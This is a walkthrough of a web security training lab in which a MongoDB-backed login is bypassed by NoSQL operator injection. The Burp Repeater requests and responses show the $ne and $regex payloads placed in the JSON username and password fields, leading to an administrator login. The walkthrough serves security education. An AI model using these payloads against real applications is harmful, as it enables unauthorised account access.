Lab: Exploiting NoSQL operator injection to bypass authentication

Intro

The difficulty level of this exercise is APPRENTICE and the goal is to be able to log in to the application as an administrator. The database backend is MongoDB.

To complete this exercise, we need Burp Suite, whether in the Community or Professional Edition.

Walkthrough

After starting the exercise, the shop should look similar to the screenshot. However, it is possible that the products within the shop are different, because the Web Security Academy exercises are regenerated again and again. The important thing, however, is that this has no influence on the solution.

At the top left, you will see the “My account” link.

Click on it and log in with the username “wiener” and the password “peter”.

After registering, you should have access to your account.

Now switch to Burp Suite and open Burp Proxy. In Burp Proxy, click on the HTTP history tab. The HTTP history shows you all the requests that have passed through Burp Proxy so far.

We are looking for the POST request to the /login endpoint and sending this request to Burp Repeater. To do this, we move the mouse over the request and right-click, then select the “Send to Repeater” option in the context menu that appears.

Now let's switch to the Burp Repeater and test the username and password to see if we can inject MongoDB operators here. The request in the Burp Repeater should look like the one below.

POST /login HTTP/2
Host: 0ac6006003f614fa82048fa20030007b.web-security-academy.net
Cookie: session=3F34urMrHjWTaJW84QJr5ENhQFJG73Kh
Content-Length: 40
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: de-DE,de;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: */*
Origin: https://0ac6006003f614fa82048fa20030007b.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0ac6006003f614fa82048fa20030007b.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

{"username":"wiener","password":"peter"}

First, we change the value of the username parameter from wiener to {"$ne":""}. The JSON code should now look like this:

{"username":{"$ne":""},"password":"peter"}

We now send this request to the application and see the following response in the Response section:

HTTP/2 302 Found
Location: /my-account?id=wiener
Set-Cookie: session=cRYspjYMirHNMzaDZHWuWwXQDks3Da4V; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

As you can see, it is possible to log in to the application as the user “wiener”. We now change the value of the username parameter from {"$ne":""} to {"$reges":"wiener.*"} and send the request to the application. The JSON code should now look like this:

{"username":{"$regex":"wien.*"},"password":"peter"}

We now send this request to the application and see the following response in the Response section:

HTTP/2 302 Found
Location: /my-account?id=wiener
Set-Cookie: session=cRYspjYMirHNMzaDZHWuWwXQDks3Da4V; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

As you can see, it is now possible to log in to the application as the user “wiener” again.

We now change the value of the username parameter back to {"$ne":""} and look at the value of the password parameter. Here we now also enter {"$ne":""} and send the request to the application. In the Response section, we get an HTTP/2 500 Internal Server Error, which looks like this:

HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2395
<!DOCTYPE html>
<html>
<head>
<link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
<link href=/resources/css/labs.css rel=stylesheet>
<title>Exploiting NoSQL operator injection to bypass authentication</title>
</head>
<script src="/resources/labheader/js/labHeader.js"></script>
<div id="academyLabHeader">
<section class='academyLabBanner'>
<div class=container>
<div class=logo></div>
<div class=title-container>
<h2>Exploiting NoSQL operator injection to bypass authentication</h2>
<a id='lab-link' class='button' href='/'>Back to lab home</a>
<a class=link-back href='https://portswigger.net/web-security/nosql-injection/lab-nosql-injection-bypass-authentication'>
Back&nbsp;to&nbsp;lab&nbsp;description&nbsp;
<svg version=1.1 id=Layer_1 xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' x=0px y=0px viewBox='0 0 28 30' enable-background='new 0 0 28 30' xml:space=preserve title=back-arrow>
<g>
<polygon points='1.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15'></polygon>
<polygon points='14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15'></polygon>
</g>
</svg>
</a>
</div>
<div class='widgetcontainer-lab-status is-notsolved'>
<span>LAB</span>
<p>Not solved</p>
<span class=lab-status-icon></span>
</div>
</div>
</div>
</section>
</div>
<div theme="">
<section class="maincontainer">
<div class="container is-page">
<header class="navigation-header">
</header>
<h4>Internal Server Error</h4>
<p class=is-warning>Query returned unexpected number of records</p>
</div>
</section>
</div>
</body>
</html>

If we scroll down a bit in the Response section (line 45), we see the message “Query returned unexpected number of records”. This message tells us that more than one user was found in the application.

We leave the value of the password parameter at {"$ne":""} and change the value of the username parameter to {"$regex":"admin.*"}. After the changes have been made, we send the request to the application. In the Response section, we receive the message:

HTTP/2 302 Found
Location: /my-account?id=admin4sa403lj
Set-Cookie: session=SA16gH4fzi5W6I0n6Bh0SV3zf3B1gonr; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

This message tells us that we have been successfully logged in as an administrator. Now we move the mouse over the response and right-click. In the context menu, we select the option “Show response in browser”.

In the field that appears, we click on “Copy” and switch to our browser.

In our browser, we now open a new tab and paste the URL we just copied there. The result should be similar to the following screenshot:

Video solution

Last updated